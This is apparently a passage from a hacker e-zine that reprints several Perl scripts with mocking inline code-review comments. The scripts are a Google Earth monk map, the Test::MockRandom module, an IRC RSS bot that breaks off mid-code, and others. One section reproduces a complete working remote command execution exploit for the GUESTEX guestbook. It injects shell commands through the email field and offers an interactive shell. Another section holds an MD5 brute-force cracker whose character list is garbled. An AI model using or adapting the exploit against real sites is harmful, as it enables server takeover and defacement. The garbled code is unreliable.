    $witem->command("say " . unip $data);
  },
);

-[0x07] # (K-)sPecial boy ------------------------------------------------

# Now the question of the hour, will this get rm'd when someone posts it to .aware public ftp?

# K-sPecial is a rapid and effective coder. He also completely lacks formal Perl learning
# He's learned piece by piece, but has missed much and could benefit from some reeducation
# He makes it work, and knows a lot of tricks
# but this code is new, and all your virtues won't save you from a little rubbing this time

# no shebang line?
# I guess you fill your pound quota below

## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
## Name: GUESTEX-exec.pl
## Date: 06/07/2006
## Version: 1.00
## 1.00 (06/07/2006) - GUESTEX-exec.pl created
##
## Description: GUESTEX guestbook is vulnerable to remote code execution in how it
## handles it's 'email' parameter. $form{'email'} is used when openning a pipe to
## sendmail in this manner: open(MAIL, "$sendmail $form{'email'}) where $form{'email'}
## is not properly sanitized.
##
## Usage: specify the host and location of the script as the first argument. hosts can
## contain ports (host:port) and you CAN specify a single command to execute via the
## commandline, although if you do not you will be given a shell like interface to
## repeatedly enter commands.
#######################################################################################

# definitely POD worthy commenting
# you might find POD liberating, lets you rant on even more

use IO::Socket;
use strict;

my $host = $ARGV[0];
my $location = $ARGV[1];
my $command = $ARGV[2];
my $sock;
my $port = 80;
my $comment = $ARGV[3] || "YOUR SITE OWNS!\n";
# keep them in a nice order, or do it in a straight bunch

if (!($host && $location)) {
  die("-!> perl $0 <host[:port]> <location> [command] [comment]\n");
}

$port = $1 if ($host =~ m/:(\d+)/);
# chuckle

while (1) {
  my $switch = 0;
  if (!($ARGV[2])) {
    print 'guestex-shell$ ';
    chomp($command = <STDIN>);
  }

  my $cmd = ";echo --1337 start-- ;$command; echo --1337 end--";
  $cmd =~ s/(.)/sprintf("%%%x", ord($1))/ge;

  my $POST = "POST $location HTTP/1.1\r\n"               .
          "Host: $host\r\n"                           .
      "User-Agent: mozilla\r\n"                       .
          "Content-type: application/x-www-form-urlencoded\r\n"   .
      "Content-length: " . length("surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd") . "\r\n" .
      "Referer: $host\r\n\r\n";
  
  $POST .= "surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd";
  
# couldn't you have done "my $sock = ... " here, instead of defining it way up there?
  $sock = IO::Socket::INET->new('PeerAddr' => "$host",
# what the hell. Why is that quoted? WHY? JUST FOR THE HELL OF IT? YOU KNOW BETTER
                      'PeerPort' => $port,
                      'Proto'   => 'tcp',
              'Type'   => SOCK_STREAM) or die ("-!> unable to connect to '$host:$port': $!\n");

  $sock->autoflush();

  print $sock "$POST"; # AGAIN!

  #$switch = 1; # used for debugging if you think 'echo' might not be working, etc
  
  while (my $line = <$sock>) {
    if ($line =~ m/^\-\-1337\ start\-\-$/) {
# this is what eq is for
# if ($line eq '--1337 start--') {
        $switch = 1;
        next;
    }
# be fun! one-line the whole block!
# or can you figure out how? ;]
    if ($line =~ m/^\-\-1337\ end\-\-$/) {
        close($sock);
        last;
    }
    print $line if $switch;
  }
  exit if $ARGV[2];
# you assigned it, let it go, let it go free!!!
}

# Cheers captain. Sorry about xzziroz. it couldn't have happened to a nicer guy
# take this article in stride, as you handled the ZF0/xzziroz issue.

-[0x08] # School You: McDarren -------------------------------------------

#!/usr/bin/perl -w
#
# pmgoogle.pl
# Generates compressed KMZ (Google Earth) files
# with placemarks for Perlmonks monks
# See: earth.google.com
#
# Darren - July 2006

use strict;
use XML::Simple;
use LWP::UserAgent;
use Storable;
use Time::HiRes qw( time );

my $start = time();
say("$0 started at ", scalar localtime($start));

# Where everything lives
my $monkfile = '/home/mcdarren/scripts/monks.store';
my $kmlfile = '/home/mcdarren/temp.kml';
my $www_dir = '/home/mcdarren/var/www/googlemonks';
my $palette_url = 'http://mcdarren.perlmonk.org/googlemonks/img/monk-palette.png';

my $monks; # hashref
$|++;

# Uncomment this for testing
# Avoids re-fetching the data
#if (! -f $monkfile) {
  # Fetch and parse the XML from tinymicros
  $monks = get_monk_data();
  store $monks, $monkfile;
#}

$monks = retrieve($monkfile)
  or die "Could not retrieve $monkfile:$!\n";

# A pretty lousy attempt at abstraction :/
my %types = (
  by_level   => {
    desc     => 'By Level',
    outfile   => 'perlmonks_by_level.kmz',
    },
  by_name   => {
    desc     => 'By Monk',
    outfile   => 'perlmonks_by_monk.kmz',
    }
);

my @levels = qw(
  Initiate Novice Acolyte Sexton
  Beadle Scribe Monk Pilgrim
  Friar Hermit Chaplain Deacon
  Curate Priest Vicar Parson
  Prior Monsignor Abbot Canon
  Chancellor Bishop Archbishop Cardinal
  Sage Saint Apostle Pope
  );

# Create a reference to a LoL,
# which represents xy offsets to each of the
# icons on the palette image
# The palette consists of 28 icons in a 7x4 grid
my $xy_data = get_xy();

my @t = time();
print "Writing and compressing output files...";
for (keys %types) {
  open OUT, ">", $kmlfile
    or die "Could not open $kmlfile:$!\n";
  my $kml = build_kml($monks, $_);
  print OUT $kml;
  close OUT;

  write_zip($kmlfile, "$www_dir/$types{$_}{outfile}");
}

$t[1] = time();
say("done (", formatted_time_diff(@t), " secs)");

my $end = time();
say("Total run time ", formatted_time_diff($start, $end), " secs");
say("Total monks: ", scalar keys %{$monks->{monk}});
exit;

####################################
# End of main - subs below
####################################
sub say {
  # Perl Hacks #86
  print @_, "\n";
}

sub formatted_time_diff {
  return sprintf("%.2f", $_[1]-$_[0])
}

sub by_level {
  return $monks->{monk}{$b}{level} <=> $monks->{monk}{$a}{level}
  || lc($a) cmp lc($b);
}

sub by_name {
  return lc($a) cmp lc($b);
}

sub write_zip {
  my ($infile, $outfile) = @_;
  use Archive::Zip qw( :ERROR_CODES :CONSTANTS );

  my $zip = Archive::Zip->new();
  my $member = $zip->addFile($infile);
  return undef unless $zip->writeToFileNamed($outfile) == AZ_OK;
}

sub build_kml {
  # This whole subroutine is pretty fugly
  # I really wanted to do it without an if/elsif,
  # but I couldn't figure out how

  my $ref = shift;
  my $type = shift;
  my $kml = qq(<?xml version="1.0" encoding="UTF-8"?>
    <kml xmlns="http://earth.google.com/kml/2.1">
    <Folder>
    <name>Perl Monks - $types{$type}{desc}</name>
    <open>1</open>);

  if ($type eq 'by_level') {
    my $level = 28;
    $kml .= qq(<Folder><name>Level $level - Pope</name><open>0</open>\n);
    for my $id (sort by_level keys %{$ref->{monk}}) {
        my $mlevel = $ref->{monk}{$id}{level};
        if ($mlevel < $level) {
          $level = $mlevel;
          my $level_name = $levels[$level-1];
          $kml .= qq(</Folder><Folder><name>Level $level - $level_name</name><open>0</open>\n);
        }
        $kml .= mk_placemark($id,$mlevel);
    }
    $kml .= q(</Folder>);
  }
  elsif ($type eq 'by_name') {
    my @monks = sort by_name keys %{$ref->{monk}};
    my $nummonks = scalar @monks;
    my $mpf = 39; # monks-per-folder
    my $start = 0;

    while ($start < $nummonks) {
        my $first = lc(substr($monks[$start],0,2));
        my $last = defined $monks[$start+$mpf]
              ? lc(substr($monks[$start+$mpf],0,2))
              : lc(substr($monks[-1],0,2));
        $kml .= qq(<Folder><name>Monks $first-$last</name><open>0</open>\n);
        MONK:
        for my $cnt ($start .. $start+$mpf) {
          last MONK if !$monks[$cnt];
          my $monk = $monks[$cnt];
          my $mlevel = $ref->{monk}{$monk}{level};
          $kml .= mk_placemark($monk,$mlevel);
        }
        $start += ($mpf + 1);
        $kml .= q(</Folder>);
    }
  }
  $kml .= q(</Folder></kml>);
  return $kml;
}

sub mk_placemark {
  my $id = shift;
  my $mlevel = shift;
  my $p;
  $p = qq(
  <Placemark>
    <description>
    <![CDATA[
        Level: $mlevel<br \\>
        Experience: $monks->{monk}{$id}{xp}<br \\>
        Writeups: $monks->{monk}{$id}{writeups}<br \\>
        User Since: $monks->{monk}{$id}{since}<br \\>
        [url]http://www.perlmonks.org/?node_id=$monks-[/url]>{monk}{$id}{id}
        ]]>
    </description>
    <Snippet></Snippet>
    <name>$id</name>
    <LookAt>
        <longitude>$monks->{monk}{$id}{location}{longitude}</longitude>
        <latitude>$monks->{monk}{$id}{location}{latitude}</latitude>
        <altitude>0</altitude>
        <range>10000</range>
        <tilt>0</tilt>
        <heading>0</heading>
    </LookAt>
    <Style>
        <IconStyle>
          <Icon>
            <href>$palette_url</href>
            <x>$xy_data->[$mlevel-1][0]</x>
            <y>$xy_data->[$mlevel-1][1]</y>
            <w>32</w>
            <h>32</h>
          </Icon>
        </IconStyle>
    </Style>
    <Point>
        <coordinates>$monks->{monk}{$id}{location}{longitude},$monks->{monk}{$id}{location}{latitude},0</coordinates>
    </Point>
  </Placemark>
  );

  return $p;
}

sub get_xy {
  # This returns an AoA, which represents xy-offsets
  # to each of the monk level icons on the image palette
  my @xy;
  for my $y (qw(96 64 32 0)) {
    for my $x (qw(0 32 64 96 128 160 192)) {
        push @xy, [ $x, $y ];
    }
  }
  return \@xy;
}

sub get_monk_data {
  my $monk_url = 'http://tinymicros.com/pm/monks.xml';
  my @t = time();
  print "Fetching data....";

  my $ua = LWP::UserAgent->new();
  my $req = HTTP::Request->new(GET=>"$monk_url");
  my $result = $ua->request($req);
  return 0 if !$result->is_success;
  my $content = $result->content;
  $t[1] = time();
  say("done (", formatted_time_diff(@t), " secs)");

  print "Parsing XML....";
  my $monks = XMLin($content, Cache => 'storable');
  $t[2] = time();
  say("done (", formatted_time_diff(@t[1,2]), " secs)");
  return $monks;
}

-[0x09] # Random Noob: Qex -----------------------------------------------

# Qex, where's the foreplay?
# no shebang line, no modules, nothing.
# you're an unready and unprotected virgin.

print "\n QBrute v1.0 \n";
print " By Qex \n";
print " qex[at]bsdmail[dot]org \n";
print " [url]www.q3x.org[/url] \n\n";
print "1) Calculate MD5.\n";
print "2) Crack MD5.\n";

# heredocs or just quote it all

my $cmd;
print "Command: ";
$cmd = <STDIN>;

# its ok, you are new. chomp(my $cmd = <STDIN>);

if ($cmd > 2) {
  print "Unknown Command!\n";
  }

# elsif?
if ($cmd == 1) {
  use Digest::MD5 qw( md5_hex );
  #it isn't that intensive, you could just use it anyways!
  my $md5x;
  print "\nView MD5 Hash Of: ";
  $md5x = <STDIN>;
  chomp($md5x);
  # same trick as above...
  print "Hash is: ", md5_hex("$md5x"), "\n\n";
  # always with the quoting....
  }
if ($cmd == 2) {
# no longer lexical? what about the range operator? what about qw?
# this feels so WRONG
@char = (&ETH;&sup1;','&Ntilde;.',&Ntilde;.','&ETH;&ordm;','&ETH;&micro;','&ETH;&frac12;','&ETH;&sup3;','&Ntilde;.','&Ntilde;.',
'&ETH;·','&Ntilde;.','&Ntilde;.','&Ntilde;.','&Ntilde;.','&ETH;&sup2;','&ETH;°','&ETH;&iquest;','&Ntilde;.','&ETH;&frac34;','&ETH;&raquo;','&ETH;&acute;',
'&ETH;&para;','&Ntilde;?','&Ntilde;?','&Ntilde;.','&Ntilde;?','&ETH;&frac14;','&ETH;&cedil;','&Ntilde;.','&Ntilde;.','&ETH;±','&Ntilde;.','1',
'2','3','4','5','6','7','8','9','0','&ETH;.','&ETH;&brvbar;','&ETH;&pound;',
'&ETH;.','&ETH;.','&ETH;?','&ETH;.','&ETH;¨','&ETH;&copy;','&ETH;.','&ETH;&yen;','&ETH;&ordf;','&ETH;¤','&ETH;&laquo;',
'&ETH;.','&ETH;?','&ETH;.','&ETH; ','&ETH;.','&ETH;.','&ETH;.','&ETH;.','&ETH;&shy;','&ETH;&macr;','&ETH;§',
'&ETH;&iexcl;','&ETH;.','&ETH;.','&ETH;&cent;','&ETH;&not;','&ETH;.','&ETH;&reg;',
'1','2','3','4','5','6','7','8','9',
'0',' ','`','-','=','~','!','@','#','$','%',
'^','&','*','(',')','_','+','{','}','|',
':','"','<','>',);
$CharToUse = 62;
getmd5();

# lets just keep dancing sub1 -> sub2 -> sub3
# what lovely organization!

sub getmd5 {
print "\nEnter the MD5 list name (list.txt):\n";
chomp($list = <STDIN>); print "\n\n";
testarg();
# it would be nice if this was lexical, and your subroutines actually returned something
# as it is, why bother having these subs at all? Especially since they aren't reused?
}

sub testarg {
open(F, $list) || die ("\nCan't open list!!\n");
@md5 = <F>;
$length11 = @md5;
# length11? was there a length10? Perl has arrays, you know
if (!<A>){
open(A, ">>MD5.txt") || die ("\nCan't open file to write to!!\n");
}
makelist()
}
sub makelist {
for ($br = 1; $br <= 12; $br++) {
for ($len1 = 0; $len1 <= $CharToUse; $len1++) {
$word[1] = $char[$len1];
if ($br <= 1) {
AddToList(@word);
}
else {
for ($len2 = 0; $len2 <= $CharToUse; $len2++) {
$word[2] = $char[$len2];
if ($br <= 2) {
AddToList(@word);
}
else {
for ($len3 = 0; $len3 <= $CharToUse; $len3++) {
$word[3] = $char[$len3];
if ($br <= 3) {
AddToList(@word);
}
else {
for ($len4 = 0; $len4 <= $CharToUse; $len4++) {
$word[4] = $char[$len4];
if ($br <= 4) {
AddToList(@word);
}
else {
for ($len5 = 0; $len5 <= $CharToUse; $len5++) {
$word[5] = $char[$len5];
if ($br <= 5) {
AddToList(@word);
}
else {
for ($len6 = 0; $len6 <= $CharToUse; $len6++) {
$word[6] = $char[$len6];
if ($br <= 6) {
AddToList(@word);
}
else {
for ($len7 = 0; $len7 <= $CharToUse; $len7++) {
$word[7] = $char[$len7];
if ($br <= 7) {
AddToList(@word);
}
else {
for ($len8 = 0; $len8 <= $CharToUse; $len8++) {
$word[8] = $char[$len8];
if ($br <= 8) {
AddToList(@word);
}
else {
for ($len9 = 0; $len9 <= $CharToUse; $len9++) {
$word[9] = $char[$len9];
if ($br <= 9) {
AddToList(@word);
}
else {
for ($len10 = 0; $len10 <= $CharToUse; $len10++) {
$word[10] = $char[$len10];
if ($br <= 10) {
AddToList(@word);
}
else {
for ($len11 = 0; $len11 <= $CharToUse; $len11++) {
$word[11] = $char[$len11];
if ($br <= 11) {
AddToList(@word);
}
else {
for ($len12 = 0; $len12 <= $CharToUse; $len12++) {
$word[12] = $char[$len12];
if ($br <= 12) {
AddToList(@word);
}
else {
for ($len13 = 0; $len13 <= $CharToUse; $len13++) {
$word[13] = $char[$len13];
if ($br <= 13) {
AddToList(@word);
}
else {
for ($len14 = 0; $len14 <= $CharToUse; $len14++) {
$word[14] = $char[$len14];
if ($br <= 14) {
AddToList(@word);
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}

# that was disgusting. In every way. I don't think I need to say anymore about the above.

sub AddToList {
my (@entry) = @_;
# holy fucking shit you know how to take parameters!
my ($test) = join "", @entry;
my ($m) = md5_hex "$test";
# you stupid quotemonkey
print ("$m = $test\n");
# you stupid parenmonkey
for ($a = 0; $a <= $length11; $a++)
# you stupid Cstylemonkey
{
  chomp($md5[$a]);
if ($m eq $md5[$a]){
print "\n\n\nFound !\t[ $test ]\n\n";
print A "$m = $test\n";
splice(@md5, $a, 1);
# wow, you know a real command.
if (!$md5[0]) { exit(); }
}
}
}
}

# I need some better material
# don't worry, the good stuff comes along

-[0x0A] # School You: xdg ------------------------------------------------

package Test::MockRandom;
$VERSION = "0.99";
@EXPORT = qw( srand rand oneish export_rand_to export_srand_to );
@ISA = qw( Exporter );

use strict;

# Required modules
use Carp;
use Exporter;

#--------------------------------------------------------------------------#
# main pod documentation #####
#--------------------------------------------------------------------------#

=head1 NAME

Test::MockRandom - Replaces random number generation with non-random number
generation

=head1 SYNOPSIS

# intercept rand in another package
use Test::MockRandom 'Some::Other::Package';
use Some::Other::Package; # exports sub foo { return rand }
srand(0.13);
foo(); # returns 0.13

# using a seed list and "oneish"
srand(0.23, 0.34, oneish() );
foo(); # returns 0.23
foo(); # returns 0.34
foo(); # returns a number just barely less than one
foo(); # returns 0, as the seed array is empty

# object-oriented, for use in the current package
use Test::MockRandom ();
my $nrng = Test::MockRandom->new(0.42, 0.23);
$nrng->rand(); # returns 0.42

=head1 DESCRIPTION

This perhaps ridiculous-seeming module was created to test routines that
manipulate random numbers by providing a known output from C<rand>. Given a
list of seeds with C<srand>, it will return each in turn. After seeded random
numbers are exhausted, it will always return 0. Seed numbers must be of a form
that meets the expected output from C<rand> as called with no arguments -- i.e.
they must be between 0 (inclusive) and 1 (exclusive). In order to facilitate
generating and testing a nearly-one number, this module exports the function
C<oneish>, which returns a number just fractionally less than one.

Depending on how this module is called with C<use>, it will export C<rand> to a
specified package (e.g. a class being tested) effectively overriding and
intercepting calls in that package to the built-in C<rand>. It can also
override C<rand> in the current package or even globally. In all
of these cases, it also exports C<srand> and C<oneish> to the current package
in order to control the output of C<rand>. See L</USAGE> for details.

Alternatively, this module can be used to generate objects, with each object
maintaining its own distinct seed array.

=head1 USAGE

By default, Test::MockRandom does not export any functions. This still allows
object-oriented use by calling C<Test::MockRandom-E<gt>new(@seeds)>. In order
for Test::MockRandom to be more useful, arguments must be provided during the
call to C<use>.

=head2 C<use Test::MockRandom 'Target::Package'>

The simplest way to intercept C<rand> in another package is to provide the
name(s) of the package(s) for interception as arguments in the C<use>
statement. This will export C<rand> to the listed packages and will export
C<srand> and C<oneish> to the current package to control the behavior of
C<rand>. You B<must> C<use> Test::MockRandom before you C<use> the target
package. This is a typical case for testing a module that uses random numbers:

use Test::More 'no_plan';
use Test::MockRandom 'Some::Package';
BEGIN { use_ok( Some::Package ) }

# assume sub foo { return rand } was imported from Some::Package

srand(0.5)
is( foo(), 0.5, "is foo() 0.5?") # test gives "ok"

If multiple package names are specified, C<rand> will be exported to all
of them.

If you wish to export C<rand> to the current package, simply provide
C<__PACKAGE__> as the parameter for C<use>, or C<main> if importing
to a script without a specified package. This can be part of a
list provided to C<use>. All of the following idioms work:

use Test::MockRandom qw( main Some::Package ); # Assumes a script
use Test::MockRandom __PACKAGE__, 'Some::Package';

# The following doesn't interpolate __PACKAGE__ as above, but
# Test::MockRandom will still DWIM and handle it correctly

use Test::MockRandom qw( __PACKAGE__ Some::Package );

=head2 C<use Test::MockRandom { %customized }>

As an alternative to a package name as an argument to C<use>,
Test::MockRandom will also accept a hash reference with a custom
set of instructions for how to export functions:

use Test::MockRandom {
  rand   => [ Some::Package, {Another::Package => 'random'} ],
  srand => { Another::Package => 'seed' },
  oneish => __PACKAGE__
};

The keys of the hash may be any of C<rand>, C<srand>, and C<oneish>. The
values of the hash give instructions for where to export the symbol
corresponding to the key. These are interpreted as follows, depending on their
type:

=over

=item *

String: a package to which Test::MockRandom will export the symbol

=item *

Hash Reference: the key is the package to which Test::MockRandom will export
the symbol and the value is the name under which it will be exported

=item *

Array Reference: a list of strings or hash references which will be handled
as above

=back

=head2 C<Test::MockRandom-E<gt>export_rand_to( 'Target::Package' =E<gt> 'rand_alias' )>

In order to intercept the built-in C<rand> in another package,
Test::MockRandom must export its own C<rand> function to the
target package B<before> the target package is compiled, thus overriding
calls to the built-in. The simple approach (described above) of providing the
target package name in the C<use Test::MockRandom> statement accomplishes this
because C<use> is equivalent to a C<require> and C<import> within a C<BEGIN>
block. To explicitly intercept C<rand> in another package, you can also call
C<export_rand_to>, but it must be enclosed in a C<BEGIN> block of its own. The
explicit form also support function aliasing just as with the custom approach
with C<use>, described above:

use Test::MockRandom;
BEGIN {Test::MockRandom->export_rand_to('AnotherPackage'=>'random')}
use AnotherPackage;

This C<BEGIN> block must not include a C<use> statement for the package to be
intercepted, or perl will compile the package to be intercepted before the
C<export_rand_to> function has a chance to execute and intercept calls to
the built-in C<rand>. This is very important in testing. The C<export_rand_to>
call must be in a separate C<BEGIN> block from a C<use> or C<use_ok> test,
which should be enclosed in a C<BEGIN> block of its own:

use Test::More tests => 1;
use Test::MockRandom;
BEGIN { Test::MockRandom->export_rand_to( 'AnotherPackage' ); }
BEGIN { use_ok( 'AnotherPackage' ); }

Given these cautions, it's probably best to use either the simple or custom
approach with C<use>, which does the right thing in most circumstances. Should
additional explicit customization be necessary, Test::MockRandom also provides
C<export_srand_to> and C<export_oneish_to>.

=head2 Overriding C<rand> globally: C<use Test::MockRandom 'CORE::GLOBAL'>

This is just like intercepting C<rand> in a package, except that you
do it globally by overriding the built-in function in C<CORE::GLOBAL>.

use Test::MockRandom 'CORE::GLOBAL';

# or

BEGIN { Test::MockRandom->export_rand_to('CORE::GLOBAL') }

You can always access the real, built-in C<rand> by calling it explicitly as
C<CORE::rand>.

=head2 Intercepting C<rand> in a package that also contains a C<rand> function

This is tricky as the order in which the symbol table is manipulated will lead
to very different results. This can be done safely (maybe) if the module uses
the same rand syntax/prototype as the system call but offers them up as method
calls which resolve at run-time instead of compile time. In this case, you
will need to do an explicit intercept (as above) but do it B<after> importing
the package. I.e.:

use Test::MockRandom 'SomeRandPackage';
use SomeRandPackage;
BEGIN { Test::MockRandom->export_rand_to('SomeRandPackage');

The first line is necessary to get C<srand> and C<oneish> exported to
the current package. The second line will define a C<sub rand> in
C<SomeRandPackage>, overriding the results of the first line. The third
line then re-overrides the C<rand>. You may see warnings about C<rand>
being redefined.

Depending on how your C<rand> is written and used, there is a good likelihood
that this isn't going to do what you're expecting, no matter what. If your
package that defines C<rand> relies internally upon the system
C<CORE::GLOBAL::rand> function, then you may be best off overriding that
instead.

=head1 FUNCTIONS

=cut

#--------------------------------------------------------------------------#
# Class data
#--------------------------------------------------------------------------#

my @data = (0);

#--------------------------------------------------------------------------#
# new()
#--------------------------------------------------------------------------#

=head2 C<new>

$obj = new( LIST OF SEEDS );

Returns a new Test::MockRandom object with the specified list of seeds.

=cut

sub new {
  my ($class, @data) = @_;
  my $self = bless ([], ref ($class) || $class);
  $self->srand(@data);
  return $self;
}

#--------------------------------------------------------------------------#
# srand()
#--------------------------------------------------------------------------#

=head2 C<srand>

srand( LIST OF SEEDS );
$obj->srand( LIST OF SEEDS);

If called as a bare function call or package method, sets the seed list
for bare/package calls to C<rand>. If called as an object method,
sets the seed list for that object only.

=cut

sub srand {
  if (ref ($_[0]) eq __PACKAGE__) {
    my $self = shift;
    @$self = $self->_test_srand(@_);
    return;
  } else {
    @data = Test::MockRandom->_test_srand(@_);
    return;
  }
}

sub _test_srand {
  my ($self, @data) = @_;
  my $error = "Seeds for " . __PACKAGE__ .
          " must be between 0 (inclusive) and 1 (exclusive)";
  croak $error if grep { $_ < 0 or $_ >= 1 } @data;   
  return @data ? @data : ( 0 );
}

#--------------------------------------------------------------------------#
# rand()
#--------------------------------------------------------------------------#

=head2 C<rand>

$rv = rand();
$rv = $obj->rand();
$rv = rand(3);

If called as a bare or package function, returns the next value from the
package seed list. If called as an object method, returns the next value from
the object seed list.

If C<rand> is called with a numeric argument, it follows the same behavior as
the built-in function -- it multiplies the argument with the next value from
the seed array (resulting in a random fractional value between 0 and the
argument, just like the built-in). If the argument is 0, undef, or
non-numeric, it is treated as if the argument is 1.

Using this with an argument in testing may be complicated, as limits in
floating point precision mean that direct numeric comparisons are not reliable.
E.g.

srand(1/3);
rand(3);     # does this return 1.0 or .999999999 etc.

=cut

sub rand {
  my ($mult,$val);
  if (ref ($_[0]) eq __PACKAGE__) { # we're a MockRandom object
    $mult = $_[1];
    $val = shift @{$_[0]} || 0;
  } else {
    # we might be called as a method of some other class
    # so we need to ignore that and get the right multiplier
    $mult = $_[ ref($_[0]) ? 1 : 0];
    $val = shift @data || 0;
  }
  # default to 1 for undef, 0, or strings that aren't numbers
  eval { local $^W = 0; my $bogus = 1/$mult };
  $mult = 1 if $@;   
  return $val * $mult;
}

#--------------------------------------------------------------------------#
# oneish()
#--------------------------------------------------------------------------#

=head2 C<oneish>

srand( oneish() );
if ( rand() == oneish() ) { print "It's almost one." };

A utility function to return a nearly-one value. Equal to ( 2^32 - 1 ) / 2^32.
Useful in C<srand> and test functions.

=cut

sub oneish {
  return (2**32-1)/(2**32);   
}

#--------------------------------------------------------------------------#
# export_rand_to()
#--------------------------------------------------------------------------#

=head2 C<export_rand_to>

Test::MockRandom->export_rand_to( 'Some::Class' );
Test::MockRandom->export_rand_to( 'Some::Class' => 'random' );

This function exports C<rand> into the specified package namespace. It must be
called as a class function. If a second argument is provided, it is taken as
the symbol name used in the other package as the alias to C<rand>:

use Test::MockRandom;
BEGIN { Test::MockRandom->export_rand_to( 'Some::Class' => 'random' ); }
use Some::Class;
srand (0.5);
print Some::Class::random(); # prints 0.5

It can also be used to explicitly intercept C<rand> after Test::MockRandom has
been loaded. The effect of this function is highly dependent on when it is
called in the compile cycle and should usually called from within a BEGIN
block. See L</USAGE> for details.

Most users will not need this function.

=cut

sub export_rand_to {
  _export_fcn_to(shift, "rand", @_);
}

#--------------------------------------------------------------------------#
# export_srand_to()
#--------------------------------------------------------------------------#

=head2 C<export_srand_to>

Test::MockRandom->export_srand_to( 'Some::Class' );
Test::MockRandom->export_srand_to( 'Some::Class' => 'seed' );

This function exports C<srand> into the specified package namespace. It must be
called as a class function. If a second argument is provided, it is taken as
the symbol name to use in the other package as the alias for C<srand>.
This function may be useful if another package wraps C<srand>:

# In Some/Class.pm
package Some::Class;
sub seed { srand(shift) }
sub foo { rand }

# In a script
use Test::MockRandom 'Some::Class';
BEGIN { Test::MockRandom->export_srand_to( 'Some::Class' ); }
use Some::Class;
seed(0.5);
print foo();   # prints "0.5"

The effect of this function is highly dependent on when it is called in the
compile cycle and should usually be called from within a BEGIN block. See
L</USAGE> for details.

Most users will not need this function.

=cut

sub export_srand_to {
  _export_fcn_to(shift, "srand", @_);
}


#--------------------------------------------------------------------------#
# export_oneish_to()
#--------------------------------------------------------------------------#

=head2 C<export_oneish_to>

Test::MockRandom->export_oneish_to( 'Some::Class' );
Test::MockRandom->export_oneish_to( 'Some::Class' => 'nearly_one' );

This function exports C<oneish> into the specified package namespace. It must
be called as a class function. If a second argument is provided, it is taken
as the symbol name to use in the other package as the alias for C<oneish>.
Since C<oneish> is usually only used in a test script, this function is likely
only necessary to alias C<oneish> to some other name in the current package:

use Test::MockRandom 'Some::Class';
BEGIN { Test::MockRandom->export_oneish_to( __PACKAGE__, "one" ); }
use Some::Class;
seed( one() );
print foo();   # prints a value very close to one

The effect of this function is highly dependent on when it is called in the
compile cycle and should usually be called from within a BEGIN block. See
L</USAGE> for details.

Most users will not need this function.

=cut

sub export_oneish_to {
  _export_fcn_to(shift, "oneish", @_);
}

#--------------------------------------------------------------------------#
# _export_fcn_to
#--------------------------------------------------------------------------#

sub _export_fcn_to {
  my ($self, $fcn, $pkg, $alias) = @_;
  croak "Must call to export_${fcn}_to() as a class method"
    unless ( $self eq __PACKAGE__ );
  croak("export_${fcn}_to() requires a package name") unless $pkg;
  _export_symbol($fcn,$pkg,$alias);
}

#--------------------------------------------------------------------------#
# _export_symbol()
#--------------------------------------------------------------------------#

sub _export_symbol {
  my ($sym,$pkg,$alias) = @_;
  $alias ||= $sym;
  {
    no strict 'refs';
    local $^W = 0; # no redefine warnings
    *{"${pkg}::${alias}"} = \&{"Test::MockRandom::${sym}"};
  }
}

#--------------------------------------------------------------------------#
# _custom_export
#--------------------------------------------------------------------------#

sub _custom_export {
  my ($sym,$custom) = @_;
  if ( ref($custom) eq 'HASH' ) {
    _export_symbol( $sym, %$custom ); # flatten { pkg => 'alias' }
  }
  else {
    _export_symbol( $sym, $custom );
  }
}

#--------------------------------------------------------------------------#
# import()
#--------------------------------------------------------------------------#

sub import {
  my $class = shift;
  my $caller = caller(0);
  
  # Nothing exported by default or if empty string
  return unless @_;
  return if ( @_ == 1 && $_[0] eq '' );

  for my $tgt ( @_ ) {
    # custom handling if it's a hashref
    if ( ref($tgt) eq "HASH" ) {
        for my $sym ( keys %$tgt ) {
          croak "Unrecognized symbol '$sym'"
            unless grep { $sym eq $_ } qw (rand srand oneish);
          my @custom = ref($tgt->{$sym}) eq 'ARRAY' ?
          @{$tgt->{$sym}} : $tgt->{$sym};
          _custom_export( $sym, $_ ) for ( @custom );
        }
    }
    # otherwise, export rand to target and srand/oneish to caller
    else {
        my $pkg = ($tgt =~ /^__PACKAGE__$/) ? $caller : $tgt; # DWIM
        _export_symbol("rand",$pkg);
        _export_symbol($_,$caller) for qw( srand oneish );
    }
  }
}

1; #this line is important and will help the module return a true value
__END__

=head1 BUGS

Please report bugs using the CPAN Request Tracker at

[url]http://rt.cpan.org/NoAuth/Bugs.html?Dist=Test-MockRandom[/url]

=head1 AUTHOR

David A Golden <[email]dagolden@cpan.org[/email]>

[url]http://dagolden.com/[/url]

=head1 COPYRIGHT

Copyright (c) 2004-2005 by David A. Golden

This program is free software; you can redistribute
it and/or modify it under the same terms as Perl itself.

The full text of the license can be found in the
LICENSE file included with this module.


=head1 SEE ALSO

=over

=item L<Test::MockObject>

=item L<Test::MockModule>

=back

=cut

-[0x0B] # Token PHP Noob -------------------------------------------------

use strict;
# you can't handle your strict
# go back to the documentation

##Configuration settings

use vars qw ($nick $server $port $channel $rss_url $refresh);
# way to avoid strict, moron

$nick = 'RSSBot';
$server = 'irc.jamscone.com';
$port = 6667;
$channel = '#jamscone';
$rss_url = 'http://www.codingo.net/blog/feed/';
$refresh = 30*60;

## Premable

# what the fuck is premable?
# are you dyslexic, skelm?
# must be why you stick to php, easy to spell that

use POSIX;
use Net::IRC;
use LWP::UserAgent;
use XML::RSS;
# keep this at the top

## Connection initialization
use vars qw ($irc $conn);
# this better not be persistent

$irc = new Net::IRC;
print "Connecting to server ".$server.":".$port." with nick ".$nick."...\n";
# quote it all and keep it simple

$conn = $irc->newconn (Nick => $nick, Server => $server, Port => $port, Ircname => 'RSS->IRC Gateway IRC hack');
# thank you, thank you for not quoting
# please tell me that you didn't just steal that line from Net::IRC docs

# Connect event handler - we immediately try to join our channel
sub on_connect {
  my ($self, $event) = @_;
  print "Joining channel ".$channel."...\n";
  $self->join ($channel);
# this is stolen too, are your comments even your own?
}

$conn->add_handler ('endofnames', \&on_joined);

# Custom CTCP version request
sub on_cversion {
